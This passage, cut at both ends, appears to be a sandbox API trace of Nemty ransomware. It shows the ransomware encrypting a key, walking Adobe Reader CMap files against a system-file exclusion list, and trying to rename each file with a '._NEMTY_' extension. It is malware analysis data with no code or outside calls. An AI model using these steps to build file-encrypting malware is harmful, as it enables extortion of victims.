lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0203.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0203.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0203.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.235] Sleep (dwMilliseconds=0x5) [0203.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ccb1f90, dwHighDateTime=0x1d561e8)) [0203.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ccb1f90, dwHighDateTime=0x1d561e8)) [0203.250] GetLastError () returned 0x5 [0203.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.250] GetLastError () returned 0x5 [0203.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.250] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0203.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="KCKHOAUNVRaLJ/ooX4duIYLO0VA1h2pi+HDLwXpcYNfjSbILNnphL5OznJF/YrD0\r\n300KE1P/8FaylEdSVI//+uOI6vcqeWgjOLoEpPDPyg9sJnGJJvmqp29RwKPVTB94\r\nC6inWc//T9jJ1f2vqVbLSAPSvNv9PUlQOW/h5S0DjxBJYfPDIMEgQFWbMU2LADLL\r\nbmCqBRBRT3yKdd7nRl9bJPVsz7MVY3d2bgr/37hgeuqSyv/Yb2Move0vrO2M+BnY\r\nAS9wavmd2Ya7gzmyGd2U+wZoV7erqv3ZR7JOvt38nQCJAwxCcjuXwaMGspkFpRze\r\ncJo06VwvVj8e8NLceRy8Uw==\r\n", pcchString=0x653e91c) returned 1 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.251] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.358] CloseHandle (hObject=0xffffffff) returned 0 [0203.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.358] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h._nemty_kgobjgd_")) returned 0 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.358] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="CNS-EU~2")) returned 1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2=".") returned 1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="..") returned 1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="...") returned 1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="windows") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="rsa") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="NTDETECT.COM") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="ntldr") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="MSDOS.SYS") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="IO.SYS") returned -1 [0203.358] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="boot.ini") returned 1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="boot.ini") returned 1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="ntuser.dat") returned -1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="desktop.ini") returned -1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="CONFIG.SYS") returned -1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="RECYCLER") returned -1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="bootmgr") returned 1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="programdata") returned -1 [0203.359] lstrcmpiW (lpString1="CNS-EUC-V", lpString2="appdata") returned 1 [0203.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0203.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0203.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0203.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-V", lpUsedDefaultChar=0x0) returned 9 [0203.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.360] Sleep (dwMilliseconds=0x5) [0203.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cde2a90, dwHighDateTime=0x1d561e8)) [0203.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cde2a90, dwHighDateTime=0x1d561e8)) [0203.375] GetLastError () returned 0x5 [0203.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.375] GetLastError () returned 0x5 [0203.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.375] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.376] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, 